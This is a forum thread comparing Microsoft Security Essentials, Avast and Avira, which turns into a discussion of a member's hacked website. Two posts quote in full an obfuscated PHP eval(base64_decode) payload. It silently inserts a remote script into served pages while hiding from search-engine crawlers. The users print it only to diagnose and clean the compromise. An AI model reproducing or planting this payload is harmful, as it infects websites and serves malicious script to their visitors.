Microsoft security vs. Avast?

[Santilli]

Hi
I realize Microsoft writing software to stop virus' is sort of an oxymoron. That said,
is their product as good, or better, then AVAST?

 

[Stereodude]

Better by what metric?

 

[Bozo]

At work we found that the MS anti-virus does not screw with our proprietary programs. It is also faster to update the virus definations without slowing the computer down.
It doesn't seem to be a resource hog like the Symantec Corp edition we were using.
And, it's free.

 

[Mercutio]

I like Avast better. It has a smaller resource footprint and a boot time scan options.

 

[MaxBurn]

Used both and they don't create problems. Not sure on the protection front though, despite my behavior I don't find I run into very much malware/viri.

 

[blakerwry]

They both work, but Avast (free) has a great many more options, and as Merc pointed out a smaller footprint. I've found MS security essentials to slow down older single core machines and I wouldn't even install it on something with under 1GB RAM.

The plus side of MS is that it does not require registration, is free (requires a legal copy of windows), and doesn't have many (any) options (good for people who just want to use the PC and not be concerned with the details).

 

[LiamC]

+1 for Avast! for all of Mercs reasons

 

[LunarMist]

Avast does not like Merc's home page.

 

[Handruin]

Avast does not like Merc's home page.

That's pretty damn funny. :rotfl:

 

[LunarMist]

That's pretty damn funny. :rotfl:

Is anyone else getting a hit from that site?

 

[sdbardwick]

Is anyone else getting a hit from that site?

Chrome doesn't like it either...

 

[LunarMist]

It must be something linked from his site.

 

[MaxBurn]

In mobile safari it appears to be the XP antivirus one.

 

[mubs]

No probs with XP Pro and MS Security Essentials.

 

[time]

It's definitely a malware link, you can see the script in the page source, just as Chrome reports it.

Here's what happens the first time you run it in Opera 11 (it sets a cookie so it only runs once).

 

[Mercutio]

I see it. I'm not sure how it was put there.

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dmJteHBibVZwYzJSMVpHVnpZMkZ5Y3k1amIyMHZhbk11Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>

 

[Stereodude]

NoScript to the rescue.

 

[Mercutio]

Meh. It's gone now.

 

[MaxBurn]

Guess you got hacked?

 

[Mercutio]

Guess you got hacked?

Probably injected code, though I don't know specifically where the vulnerability was. As a stopgap I've changed the permissions on the .php files there to read-only.

 

[MaxBurn]

I remember my first foray into Linux along time ago, I wanted a dedicated linux box for whatever reason and I had no idea what I was doing on the thing. Couple days later I found a note left on the machine that I need to do some security work and lock the box down, I guess that was my first run in with a white hat. Though it was pretty cool I wiped the box and went with something else I was more familiar with for whatever it was I was doing.

 

[blakerwry]

I see it. I'm not sure how it was put there.

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dmJteHBibVZwYzJSMVpHVnpZMkZ5Y3k1amIyMHZhbk11Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>

I've seen code like that inserted into PHP scripts on several client servers that we've been asked to look at. Primary method if infection seemed to be FTP with standard/common usernames and blank or easily guessed passwords. SSH is also a possible culprit. I also see lots of attempts against common web apps like phpMyAdmin, a few years ago default asp scripts where the most common target.

 

[Mercutio]

My password personal password is 21 digits long, but I suppose it's possible that somebody else's account on the same server could have led to escalated rights. Shared hosting and all.

 

[timwhit]

You have business class internet, right? Why not just host it from home?

 

[mubs]

No probs with XP Pro and MS Security Essentials.

So what's my status now? Am I screwed? Please?

 

[mubs]

I updated MS-SE and ran it on the C drive. Nothing found.

I updated Malwarebytes and ran it on the C drive. Nothing found.

I downloaded Avast 5.0 Free, uninstalled MS-SE, installed Avast, updated it and ran it on the C drive. Nothing found.

 

[ddrueding]

You should be fine. I wouldn't worry about it too much.

 

[MaxBurn]

To be clear you are not getting virus scan and to fix get paid version upgrade popup every couple of minutes? XP antivirus is very in your face, you would know if you had it.

 

[Stereodude]

FWIW, I tried MSE on something older with a single core non-HT processor (P4 laptop) and it really bogged the machine down so I went back to Avira Antivir. Avira impacted the performance of the system much less.

 

[Mercutio]

You have business class internet, right? Why not just host it from home?

I certainly could, but I don't want to move over all the crap that I host that isn't my personal stuff. I doubt anyone else would actually care as long as their four page wordpress things stayed online, but I don't really want to give people access to my stuff that's in my home.

 

[LunarMist]

Is Avast 5 different from 4.8 other than the interface? 4.8 keeps updating the definitions normally.

 

[paugie]

I think there is no big difference between 4.8 and 5.0
It's just that when my 4.8 expired, I went to 5.0. Didn't notice change except what you mentioned - the interface.
Oh, that and Avast is asking to download and install Chrome

 

[mubs]

MaxBurn, no popups or warnings. I usually practice safe behavior online.

However, when I move to Win 7 soon, I want use something like Sandboxie to be safer still. I do most of my and my wife's banking online, and necessarily have to be paranoid!

I had Avira before, and it got obnoxious with constant reminders, etc. I also read somewhere that it wasn't as good as it used to be. That's why I went to MS-SE.

Now Avast wants me to register. I guess I should; after all, I have free use of their product.

 

[LunarMist]

Today Avast is popping up on 6-7 systems on three states, warning users to update to v.5 and that definitions will expire soon. However they are all good until at least the end of February and some until November. What is up with that?